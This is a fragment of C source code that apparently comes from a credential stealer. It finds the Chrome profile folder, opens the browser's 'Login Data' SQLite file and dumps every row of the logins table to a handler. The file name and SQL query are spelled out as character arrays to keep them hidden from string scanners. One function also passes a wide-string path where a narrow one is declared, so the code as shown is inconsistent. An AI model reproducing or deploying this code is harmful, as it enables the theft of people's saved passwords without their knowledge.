LPSTR GetChromeProfilePathA() { LPWSTR strProfilePath = GetChromeProfilePath(); LPSTR strProfilePathA = (LPSTR) zalloc(MAX_FILE_PATH+1); _snprintf_s(strProfilePathA, MAX_FILE_PATH, _TRUNCATE, "%S", strProfilePath); zfree(strProfilePath); if (PathFileExistsA(strProfilePathA)) return strProfilePathA; zfree(strProfilePathA); return NULL; }
VOID dump_chromesql_pass() { LPSTR strProfilePath = GetChromeProfilePath(); if (!strProfilePath) return; DWORD dwSize = strlen(strProfilePath) + 1024; LPSTR strFilePath = (LPSTR)talloc(dwSize); CHAR strFileName[] = { 'L', 'o', 'g', 'i', 'n', ' ', 'D', 'a', 't', 'a', 0x0 }; _snprintf_s(strFilePath, dwSize, _TRUNCATE, "%s\\%s", strProfilePath, strFileName); sqlite3 *lpDb = NULL; if (sqlite3_open((const char *)strFilePath, &lpDb) == SQLITE_OK) { sqlite3_busy_timeout(lpDb, 5000); CHAR strQuery[] = { 'S', 'E', 'L', 'E', 'C', 'T', ' ', '*', ' ', 'F', 'R', 'O', 'M', ' ', 'l', 'o', 'g', 'i', 'n', 's', ';', 0x0 }; sqlite3_exec(lpDb, strQuery, chrome_worker, 0, NULL); sqlite3_close(lpDb); } tfree(strFilePath); tfree(strProfilePath); }